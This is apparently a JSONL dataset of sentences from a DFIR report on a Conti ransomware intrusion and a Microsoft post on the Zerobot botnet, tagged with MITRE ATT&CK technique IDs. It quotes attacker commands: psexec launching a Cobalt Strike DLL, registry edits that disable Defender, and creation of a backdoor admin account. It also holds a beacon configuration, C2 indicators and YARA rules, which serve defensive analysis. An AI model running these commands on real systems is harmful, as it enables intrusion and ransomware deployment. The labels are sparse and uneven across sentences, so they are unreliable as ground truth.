{"sentence": "psexec.exe -accepteula -d -s \\\\<INTERNAL_IP> rundll32.exe C:\\windows\\192145.dll,StartW From here, RDP connections were established from the beachhead host to systems throughout the environment.", "labels": ["T1021.001"], "doc_title": "Conti Ransomware"}
{"sentence": "The connections were proxied through the IcedID process.", "labels": ["T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "The threat actor used a redirector (38.135.122[.]194:8080) to proxy the RDP traffic being passed through the IcedID process.", "labels": ["T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "The below traffic shows more details of the RDP session, including the username in the cookie.", "labels": ["T1021.001", "T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "This proxied traffic reported back the hostname of the threat actors machine as “mikespc”.", "labels": ["T1090"], "doc_title": "Conti Ransomware"}
{"sentence": "We’re looking for you Mike!", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Defense Evasion To evade detection, the threat actors disabled Windows Defender by adding the below to an already linked GPO.", "labels": ["T1484.001", "T1562.001"], "doc_title": "Conti Ransomware"}
{"sentence": "They then force updated the GPO on all clients using Cobalt Strike.", "labels": ["T1484.001"], "doc_title": "Conti Ransomware"}
{"sentence": "ParentCommandLine CommandLine C:\\Windows\\System32\\dllhost.exe C:\\Windows\\system32\\cmd.exe /C gpupdate /force C:\\Users\\USER\\AppData\\Local\\Temp\\icju1.exe C:\\Windows\\system32\\cmd.exe /C gpupdate /force C:\\Windows\\System32\\dllhost.exe C:\\Windows\\system32\\cmd.exe /C gpupdate /force “rundll32.exe” c:\\windows\\192145.dll,StartW C:\\Windows\\system32\\cmd.exe /C gpupdate /force Registry Keys Action HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware DeleteValue HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Monitoring\\DisableRealtimeMonitoring DeleteValue HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Monitoring\\DisableBehaviorMonitoring DeleteValue HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Monitoring\\DisableIntrusionPreventionSystem DeleteValue HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection DeleteKey", "labels": ["T1059.003", "T1112"], "doc_title": "Conti Ransomware"}
{"sentence": "In addition, other security services were stopped or uninstalled.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "NET STOP \"redacted\" EventID: 13 Description: RegistryEvent (Value Set)", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "TargetObject: HKLM\\System\\CurrentControlSet\\Services\\<redacted>\\Start Value: DWORD (0x00000004) Command and Control IcedID 68.183.20[.]194:80 vaclicinni[.]xyz 83.97.20[.]160:443 oxythuler[.]cyou expertulthima[.]club dictorecovery[.]cyou thulleultinn[.]club Key identifier: 82:92:07:", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "FD:86:23:FE:26:0E:4A:42:5A:F7:C7:70:2A:45:4E:01:5B Not Before: Apr 22 15:27:02 2021 GMT Not After : Apr 22 15:27:02 2022 GMT CommonName: localhost City= AU State= Some-State Org = Internet Widgits Pty Ltd ja3: a0e9f5d64349fb13191bc781f81f42e1 ja3s: ec74a5c51106f0419184d0dd08fb05bc 159.89.140[.]116:443 oxythuler[.]cyou thulleultinn[.]club Key Identifier: A4:EB:95:C2:04:91:E3:AF:67:7C:5D:B3:CB:DB:E3:38:90:5E:A7:68 Not Before: Apr 13 14:59:41 2021 GMT Not After : Apr 13 14:59:41 2022 GMT CommonName: localhost City= AU State= Some-State Org = Internet Widgits Pty Ltd ja3: a0e9f5d64349fb13191bc781f81f42e1 ja3s: ec74a5c51106f0419184d0dd08fb05bc Cobalt Strike 192.99.178[.]145:80 dimentos[.]com Config:", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Port 443:\"Spawn", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "To x86\": \"%windir%\\\\syswow64\\\\runonce[.]exe\", \"Spawn To x64\": \"%windir%\\\\sysnative\\\\runonce[.]exe\", \"Jitter\": 39, \"Method 2\": \"POST\", \"Port\": 443, \"Beacon Type\": \"8 (HTTPS)\", \"Polling\": 62719, \"HTTP Method Path 2\": \"/btn_bg\", \"Method 1\": \"GET\", \"C2 Server\": \"dimentos[.]com,/FAQ\"\"Spawn To x86\": \"%windir%\\\\syswow64\\\\runonce[.]exe\", \"Spawn To x64\": \"%windir%\\\\sysnative\\\\runonce[.]exe\", \"Jitter\": 39, \"Method 2\": \"POST\", \"Port\": 443, \"Beacon Type\": \"8 (HTTPS)\", \"Polling\": 62719, \"HTTP Method Path 2\": \"/btn_bg\", \"Method 1\": \"GET\", \"C2 Server\": \"dimentos[.]com,/bg\"Port 80:\"Spawn To x86\": \"%windir%\\\\syswow64\\\\runonce[.]exe\", \"Spawn To x64\": \"%windir%\\\\sysnative\\\\runonce[.]exe\", \"Jitter\": 39, \"Method 2\": \"POST\", \"Port\": 80, \"Beacon Type\": \"0 (HTTP)\", \"Polling\": 62719, \"HTTP Method Path 2\": \"/btn_bg\", \"Method 1\": \"GET\", \"C2 Server\": \"192[.]99[.]178[.]145,/r-arrow\"\"Spawn To x86\": \"%windir%\\\\syswow64\\\\runonce[.]exe\", \"Spawn To x64\": \"%windir%\\\\sysnative\\\\runonce[.]exe\", \"Jitter\": 39, \"Method 2\": \"POST\", \"Port\": 80, \"Beacon Type\": \"0 (HTTP)\", \"Polling\": 62719, \"HTTP Method Path 2\": \"/btn_bg\", \"Method 1\": \"GET\", \"C2 Server\": \"192[.]99[.]178[.]145,/bg\" Machine beaconing out to Cobalt Strike using the above profile Persistence An account named “nuuser” was created by one of the Cobalt Strike Beacons.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "As these commands were run on a domain controller, it essentially added the account to the Built-in Administrators domain group, granting it administrative privileges in the AD domain.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "net user /add /Y", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "nuuser 7HeC00l3stP@ssw0rd net localgroup administrators nuuser /add", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Credential Access LSASS was accessed by an unusual process “runonce.exe” on multiple hosts, including a domain controller.", "labels": ["T1003.001"], "doc_title": "Conti Ransomware"}
{"sentence": "EventID: 10Description: Process Access SourceImage: “C:\\Windows\\System32\\runonce.exe” TargetImage: “C:\\Windows\\system32\\lsass.exe” SourceImage: C:\\Windows\\system32\\runonce.exe\"TargetImage: \"C:\\Windows\\system32\\lsass.exe\"GrantedAccess: 0x1010CallTrace: \"C:\\Windows\\SYSTEM32\\ntdll.dll+9c584|C:\\Windows\\System32\\KERNELBASE.dll+2730e|UNKNOWN(0000028A62BDC798)\"", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The overpass-the hash technique was used to acquire a valid Kerberos ticket for the administrator user.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Impact About two and a half hours after initial hands on keyboard activity, the Cobalt Strike Beacon processes running across the target systems injected the Conti DLL into memory.", "labels": ["T1055"], "doc_title": "Conti Ransomware"}
{"sentence": "Conti deployments using a DLL seem to have first started showing up in December 2020.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "First time that I see #Conti ransomware spread as a DLL :Hash : 5c278c04bb19196dc8559d45b9728b3ba0c1bc5cdd20a766f56248e561c6f5a6 Pdb : A:sourceconti_v3x64Releasecryptor_dll.pdb (cc @GrujaRS @malwrhunterteam )", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "pic.twitter.com/gH3uCpVMpB— (づ｡◕‿‿◕｡)づ (@Glacius_)", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "December 8, 2020 Some traces of this particular DLL were found in the memory dump taken from one of the compromised systems.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "We were unable to reconstruct the DLL from memory but Maxime Thiebaut (@0xThiebaut) from NVISO helped us out.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The Yara rule, located in the detections section below was made possible due to him reconstructing the DLL.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Thanks Maxime!", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Conti scans the network for 445/SMB, looking for machines to encrypt.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Ransom note Which leads you here.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The threat actors asked for 150k and could have been talked down at least ~20%.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Multiple machines within the environment were not usable after being ransomed including a domain controller.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The machines were left like this and you were not able to do anything but press control+alt+delete.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Paying the ransom will not help you here.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Pivots While researching the infrastructure related to this campaign, we found the threat actor revealed further infrastructure.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The domain associated with the Cobalt Strike C2 (dimentos[.]com) has an unredacted Whois record that reveals several other domains also registered by the address pokix19891[@]kindbest[.]com.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "You’ll notice the fake address and fake phone number as well.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "All the domains were registered on 2021-03-30, and according to public data available in VirusTotal, three of them have been associated with Cobalt Strike infrastructure so far; the domain seen in this intrusion, powelin[.]com and awesents[.]com.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The two other domains (jocinet[.]com, ilimennt[.]com) have subdomains that look like name servers (ns1 and ns2), which were pointed to two of the Cobalt Strike hosting IP’s.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "All of this infrastructure was hosted on the VPS provider OVH. IOCs Files b52c0640957e5032b5160578f8cb99f9b066fde4f9431ee6869b2eea67338f28.dll.exe b52c0640957e5032b5160578f8cb99f9b066fde4f9431ee6869b2eea67338f28 icju1.exe e54f38d06a4f11e1b92bb7454e70c949d3e1a4db83894db1ab76e9d64146ee06 rate_x32.dat eb79168391e64160883b1b3839ed4045b4fd40da14d6eec5a93cfa9365503586192145.dll f29bc338e63a62c24c301c04961084013816733dad446a29c20d4413c5c818af9 Network IcedID vaclicinni[.]xyz thulleultinn[.]club oxythuler[.]cyou dictorecovery[.]cyou expertulthima[.]club 68.183.20[.]194:80 159.89.140[.]116:443 83.97.20[.]160:443 Cobalt Strikedimentos[.]com 192.99.178[.]145:80 Proxy38.135.122[.]194:8080 Detections Surricata ET MALWARE Win32/IcedID Requesting Encoded Binary M4 ET MALWARE W32/Photoloader.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Downloader Request Cookie ET POLICY PE EXE or DLL Windows file download HTTP ET INFO Executable Retrieved With Minimal HTTP Headers – Potential Second Stage Download ET INFO Packed Executable Download ET POLICY OpenSSL Demo CA – Internet Widgits Pty ATTACK", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "[PTsecurity] Overpass the hash.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Encryption downgrade activity to ARCFOUR-HMAC-MD5 ET SCAN Behavioral Unusual Port 135 traffic Potential Scan or Infection ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection ET SCAN Behavioral Unusual Port 1434 traffic Potential Scan or Infection ET SCAN Behavioral Unusual Port 1435 traffic Potential Scan or Infection Sigma https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_meterpreter_or_cobaltstrike_getsystem_service_installation.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_commands_recon_activity.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/other/win_defender_disabled.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/other/win_tool_psexec.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_access/sysmon_in_memory_assembly_execution.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/network_connection/sysmon_rundll32_net_connections.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_net_user_add.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_psexesvc_start.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_psexec_eula.yml Sigma Rule Converter for SIEMs and EDRs: https://uncoder.io/ YARA /*YARA Rule SetAuthor:", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "The DFIR ReportDate: 2021-05-09Identifier: 3584Reference: https://thedfirreport.com*//*", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "*/import \"pe\"rule icedid_rate_x32 {meta:description = \"files - file rate_x32.dat\"author = \"The DFIR Report\"reference = \"https://thedfirreport.com\"date = \"2021-05-09\"hash1 = \"eb79168391e64160883b1b3839ed4045b4fd40da14d6eec5a93cfa9365503586\"strings:$s1 = \"UAWAVAUATVWSH\" fullword ascii$s2 = \"UAWAVVWSPH\" fullword ascii$s3 = \"AWAVAUATVWUSH\" fullword ascii$s4 = \"update\" fullword ascii /*", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Goodware String - occured 207 times */$s5 = \"?klopW@@YAHXZ\" fullword ascii$s6 = \"?jutre@@YAHXZ\" fullword ascii$s7 = \"PluginInit\" fullword ascii$s8 = \"[]_^A\\\\A]A^A_\"", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "fullword ascii$s9 = \"e8[_^A\\\\A]A^A_]\" fullword ascii$s10 = \"[_^A\\\\A]A^A_]\" fullword ascii$s11 = \"Kts=R,4iu\" fullword ascii$s12 = \"mqr55c\" fullword ascii$s13 = \"R,4i=Bj\" fullword ascii$s14 = \"Ktw=R,4iu\" fullword ascii$s15 = \"Ktu=R,4iu\" fullword ascii$s16 = \"Kt{=R,4iu\" fullword ascii$s17 = \"KVL.Mp\" fullword ascii$s18 = \"Kt|=R,4iu\" fullword ascii$s19 = \"=8c[Vt8=\" fullword ascii$s20 = \"Ktx=R,4iu\" fullword asciicondition:uint16(0) == 0x5a4d and filesize < 700KB and( pe.imphash() == \"15787e97e92f1f138de37f6f972eb43c\" and ( pe.exports(\"?jutre@@YAHXZ\") and pe.exports(\"?klopW@@YAHXZ\") and pe.exports(\"PluginInit\") and pe.exports(\"update\") ) or 8 of them )}rule conti_cobaltstrike_192145 {meta:description = \"files - file 192145.dll\"author = \"The DFIR Report\"reference = \"https://thedfirreport.com\"date = \"2021-05-09\"hash1 = \"29bc338e63a62c24c301c04961084013816733dad446a29c20d4413c5c818af9\"strings:$x1 = \"cmd.exe /c", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "echo", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "NGAtoDgLpvgJwPLEPFdj>\\\"%s\\\"&exit\" fullword ascii$s2 = \"veniamatquiest90.dll\" fullword ascii$s3 = \"Quaerat magni assumenda nihil architecto labore ullam autem unde temporibus mollitia illum\" fullword ascii$s4 = \"Quaerat tempora culpa provident\" fullword ascii$s5 = \"Velit consequuntur quisquam tempora error\" fullword ascii$s6 = \"Quo omnis repellat ut expedita temporibus eius fuga error\" fullword ascii$s7 = \"Dolores ullam tempora error distinctio ut natus facere quibusdam\" fullword ascii$s8 = \"Corporis minima omnis qui est temporibus sint quo error magnam\" fullword ascii$s9 = \"Officia sit maiores deserunt nobis tempora deleniti aut et quidem fugit\" fullword ascii$s10 = \"Rerum tenetur sapiente est tempora qui deserunt\" fullword ascii$s11 = \"Sed nulla quaerat porro error excepturi\" fullword ascii$s12 = \"Aut tempore quo cumque dicta ut quia in\" fullword ascii$s13 = \"Doloribus commodi repudiandae voluptates consequuntur neque tempora ut neque nemo ad ut\" fullword ascii$s14 = \"Tempore possimus aperiam nam mollitia illum hic at ut doloremque\" fullword ascii$s15 = \"Dolorum eum ipsum tempora non et\" fullword ascii$s16 = \"Quas alias illum laborum tempora sit est rerum temporibus dicta et\" fullword ascii$s17 = \"Et quia aut temporibus enim repellat dolores totam recusandae repudiandae\" fullword ascii$s18 = \"Sed velit ipsa et dolor tempore sunt nostrum\" fullword ascii$s19 = \"Veniam voluptatem aliquam et eaque tempore tenetur possimus\" fullword ascii$s20 = \"Possimus suscipit placeat dolor quia tempora voluptas qui fugiat et accusantium\" fullword asciicondition:uint16(0) == 0x5a4d and filesize < 2000KB and( pe.imphash() == \"5cf3cdfe8585c01d2673249153057181\" and pe.exports(\"StartW\") or ( 1 of ($x*) or 4 of them ) )}rule conti_cobaltstrike_icju1", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "{meta:description = \"files - file icju1.exe\"author = \"The DFIR Report\"reference = \"https://thedfirreport.com\"date = \"2021-05-09\"hash1 = \"e54f38d06a4f11e1b92bb7454e70c949d3e1a4db83894db1ab76e9d64146ee06\"strings:$x1 = \"cmd.exe /c", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "echo NGAtoDgLpvgJwPLEPFdj>\\\"%s\\\"&exit\" fullword ascii$s2 = \"veniamatquiest90.dll\" fullword ascii$s3 = \"Quaerat magni assumenda nihil architecto labore ullam autem unde temporibus mollitia illum\" fullword ascii$s4 = \"Quaerat tempora culpa provident\" fullword ascii$s5 = \"Velit consequuntur quisquam tempora error\" fullword ascii$s6 = \"Quo omnis repellat ut expedita temporibus eius fuga error\" fullword ascii$s7 = \"Dolores ullam tempora error distinctio ut natus facere quibusdam\" fullword ascii$s8 = \"Corporis minima omnis qui est temporibus sint quo error magnam\" fullword ascii$s9 = \"Officia sit maiores deserunt nobis tempora deleniti aut et quidem fugit\" fullword ascii$s10 = \"Rerum tenetur sapiente est tempora qui deserunt\" fullword ascii$s11 = \"Sed nulla quaerat porro error excepturi\" fullword ascii$s12 = \"Aut tempore quo cumque dicta ut quia in\" fullword ascii$s13 = \"Doloribus commodi repudiandae voluptates consequuntur neque tempora ut neque nemo ad ut\" fullword ascii$s14 = \"Tempore possimus aperiam nam mollitia illum hic at ut doloremque\" fullword ascii$s15 = \"Dolorum eum ipsum tempora non et\" fullword ascii$s16 = \"Quas alias illum laborum tempora sit est rerum temporibus dicta et\" fullword ascii$s17 = \"Et quia aut temporibus enim repellat dolores totam recusandae repudiandae\" fullword ascii$s18 = \"Sed velit ipsa et dolor tempore sunt nostrum\" fullword ascii$s19 = \"Veniam voluptatem aliquam et eaque tempore tenetur possimus\" fullword ascii$s20 = \"Possimus suscipit placeat dolor quia tempora voluptas qui fugiat et accusantium\" fullword asciicondition:uint16(0) == 0x5a4d and filesize < 2000KB and( pe.imphash() == \"a6d9b7f182ef1cfe180f692d89ecc759\" or ( 1 of ($x*) or 4 of them ) )}rule conti_v3 {meta:description = \"conti_yara - file conti_v3.dll\" author = \"pigerlin\" reference = \"https://thedfirreport.com\" date = \"2021-05-09\" hash1 = \"8391dc3e087a5cecba74a638d50b771915831340ae3e027f0bb8217ad7ba4682\"strings: $s1 = \"AppPolicyGetProcessTerminationMethod\" fullword ascii $s2 = \"conti_v3.dll\" fullword ascii $s3 = \" <requestedExecutionLevel level='asInvoker' uiAccess='false' />\" fullword ascii $s4 = \" Type Descriptor'\" fullword ascii $s5 = \"operator co_await\" fullword ascii $s6 = \" <trustInfo xmlns=\\\"urn:schemas-microsoft-com:asm.v3\\\">\" fullword ascii $s7 = \"api-ms-win-appmodel-runtime-l1-1-2\" fullword wide $s8 = \" Base Class Descriptor at (\" fullword ascii $s9 = \" Class Hierarchy Descriptor'\" fullword ascii $s10 = \" Complete Object Locator'\" fullword ascii $s11 = \" delete[]\" fullword ascii $s12 = \" </trustInfo>\" fullword ascii $s13 = \"__swift_1\" fullword ascii $s15 = \"__swift_2\" fullword ascii $s19 = \" delete\" fullword asciicondition:uint16(0) == 0x5a4d and filesize < 700KB andall of them}rule conti_cobaltstrike_192145_icju1_0 {meta:description = \"files - from files 192145.dll, icju1.exe\"author = \"The DFIR Report\"reference = \"https://thedfirreport.com\"date = \"2021-05-09\"hash1 = \"29bc338e63a62c24c301c04961084013816733dad446a29c20d4413c5c818af9\"hash2 = \"e54f38d06a4f11e1b92bb7454e70c949d3e1a4db83894db1ab76e9d64146ee06\"strings:$x1 = \"cmd.exe /c", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "echo NGAtoDgLpvgJwPLEPFdj>\\\"%s\\\"&exit\" fullword ascii$s2 = \"veniamatquiest90.dll\" fullword ascii$s3 = \"Quaerat magni assumenda nihil architecto labore ullam autem unde temporibus mollitia illum\" fullword ascii$s4 = \"Quaerat tempora culpa provident\" fullword ascii$s5 = \"Dolores ullam tempora error distinctio", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "ut natus facere quibusdam\" fullword ascii$s6 = \"Velit consequuntur quisquam tempora error\" fullword ascii$s7 = \"Corporis minima omnis qui est temporibus sint quo error magnam\" fullword ascii$s8 = \"Quo omnis repellat ut expedita temporibus eius fuga error\" fullword ascii$s9 = \"Officia sit maiores deserunt nobis tempora deleniti aut et quidem fugit\" fullword ascii$s10 = \"Rerum tenetur sapiente est tempora qui deserunt\" fullword ascii$s11 = \"Sed nulla quaerat porro error excepturi\" fullword ascii$s12 = \"Aut tempore quo cumque dicta ut quia in\" fullword ascii$s13 = \"Doloribus commodi repudiandae voluptates consequuntur neque tempora ut neque nemo ad ut\" fullword ascii$s14 = \"Tempore possimus aperiam nam mollitia illum hic at ut doloremque\" fullword ascii$s15 = \"Et quia aut temporibus enim repellat dolores totam recusandae repudiandae\" fullword ascii$s16 = \"Dolorum eum ipsum tempora non et\" fullword ascii$s17 = \"Quas alias illum laborum tempora sit est rerum temporibus dicta et\" fullword ascii$s18 = \"Sed velit ipsa et dolor tempore sunt nostrum\" fullword ascii$s19 = \"Veniam voluptatem aliquam et eaque tempore tenetur possimus\" fullword ascii$s20 = \"Possimus suscipit placeat dolor quia tempora voluptas qui fugiat et accusantium\" fullword asciicondition:( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) and 4 of them ))", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "or ( all of them )} MITRE: Command and Scripting Interpreter – T1059External Proxy – T1090.002Remote Desktop Protocol – T1021.001OS Credential Dumping –", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "T1003Pass the Hash – T1550.002Service Execution – T1569.002SMB/Windows Admin Shares – T1021.002Data Encrypted for Impact – T1486System Owner/User Discovery – T1033Permission Groups Discovery – T1069Application Layer Protocol – T1071Process Injection – T1055Group Policy Modification –", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "T1484Access Token Manipulation – T1134Create Account – T1136Remote System Discovery – T1018Network Service Scanning – T1046Domain Account – T1087.002Impair Defenses – T1562 Internal case: 3584 The post Conti Ransomware appeared first on The DFIR Report.", "labels": [], "doc_title": "Conti Ransomware"}
{"sentence": "Botnet malware operations are a constantly evolving threat to devices and networks.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Threat actors target Internet of Things (IoT) devices for recruitment into malicious operations as IoT devices’ configurations often leave them exposed, and the number of internet-connected devices continue to grow.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Recent trends have shown that operators are redeploying malware for a variety of distributions and objectives, modifying existing botnets to scale operations and add as many devices as possible to their infrastructure.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot, a Go-based botnet that spreads primarily through IoT and web application vulnerabilities, is an example of an evolving threat, with operators continuously adding new exploits and capabilities to the malware.", "labels": ["T1190"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The Microsoft Defender for IoT research team has been monitoring Zerobot (also called ZeroStresser by its operators) for months.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot is offered as part of a malware as a service scheme and has been updated several times since Microsoft started to track it.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "One domain with links to Zerobot was among several domains associated with DDoS-for-hire services seized by the FBI in December 2022.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft has previously reported on the evolving threat ecosystem.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The shift toward malware as a service in the cyber economy has industrialized attacks and has made it easier for attackers to purchase and use malware, establish and maintain access to compromised networks, and utilize ready-made tools to perform their attacks.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "We have tracked advertisements for the Zerobot botnet on various social media networks in addition to other announcements regarding the sale and maintenance of the malware, as well as new capabilities in development.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "In this blog post, we present information about the latest version of the malware, Zerobot 1.1, including newly identified capabilities and further context to Fortinet’s recent analysis on the threat.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot 1.1 increases its capabilities with the inclusion of new attack methods and new exploits for supported architectures, expanding the malware’s reach to different types of devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "In addition to these findings, we’re sharing new indicators of compromise (IOCs) and recommendations to help defenders protect devices and networks against this threat.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "What is Zerobot? Zerobot affects a variety of devices that include firewall devices, routers, and cameras, adding compromised devices to a distributed denial of service (DDoS) botnet.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Using several modules, the malware can infect vulnerable devices built on diverse architectures and operating systems, find additional devices to infect, achieve persistence, and attack a range of protocols.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft tracks this activity as DEV-1061.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The most recent distribution of Zerobot includes additional capabilities, such as exploiting vulnerabilities in Apache and Apache Spark (CVE-2021-42013 and CVE-2022-33891 respectively), and new DDoS attack capabilities.", "labels": ["T1190"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity, allowing Microsoft to track it as a unique set of information until we can reach high confidence about the origin or identity of the actor behind the activity.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Once it meets defined criteria, a DEV group is converted to a named actor.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "How Zerobot gains and maintains device access IoT devices are often internet-exposed, leaving unpatched and improperly secured devices vulnerable to exploitation by threat actors.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot is capable of propagating through brute force attacks on vulnerable devices with insecure configurations that use default or weak credentials.", "labels": ["T1078", "T1110"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The malware may attempt to gain device access by using a combination of eight common usernames and 130 passwords for IoT devices over SSH and telnet on ports 23 and 2323 to spread to devices.", "labels": ["T1110"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft researchers identified numerous SSH and telnet connection attempts on default ports 22 and 23, as well as attempts to open ports and connect to them by port-knocking on ports 80, 8080, 8888, and 2323.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "In addition to brute force attempts on devices, Zerobot exploits dozens of vulnerabilities, which malware operators add on a rolling basis to gain access and inject malicious payloads.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot 1.1 includes several new vulnerabilities, such as: VulnerabilityAffected softwareCVE-2017-17105Zivif PR115-204-P-RSCVE-2019-10655GrandstreamCVE-2020-25223WebAdmin of Sophos SG UTMCVE-2021-42013ApacheCVE-2022-31137Roxy-WICVE-2022-33891Apache SparkZSL-2022-5717MiniDVBLinuxSince the release of Zerobot 1.1, the malware operators have removed CVE-2018-12613, a phpMyAdmin vulnerability that could allow threat actors to view or execute files.", "labels": ["T1190"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft researchers have also identified that previous reports have used the vulnerability ID “ZERO-32906” for CVE-2018-20057, “GPON” for CVE-2018-10561, and “DLINK” for CVE-2016-20017; and that CVE-2020-7209 was mislabeled as CVE-2017-17106 and CVE-2022-42013 was mislabeled as CVE-2021-42013.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft researchers have also found new evidence that Zerobot propagates by compromising devices with known vulnerabilities that are not included in the malware binary, such as CVE-2022-30023, a command injection vulnerability in Tenda GPON AC1200 routers.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Upon gaining device access, Zerobot injects a malicious payload, which may be a generic script called zero.sh that downloads and attempts to execute Zerobot, or a script that downloads the Zerobot binary of a specific architecture.", "labels": ["T1105"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
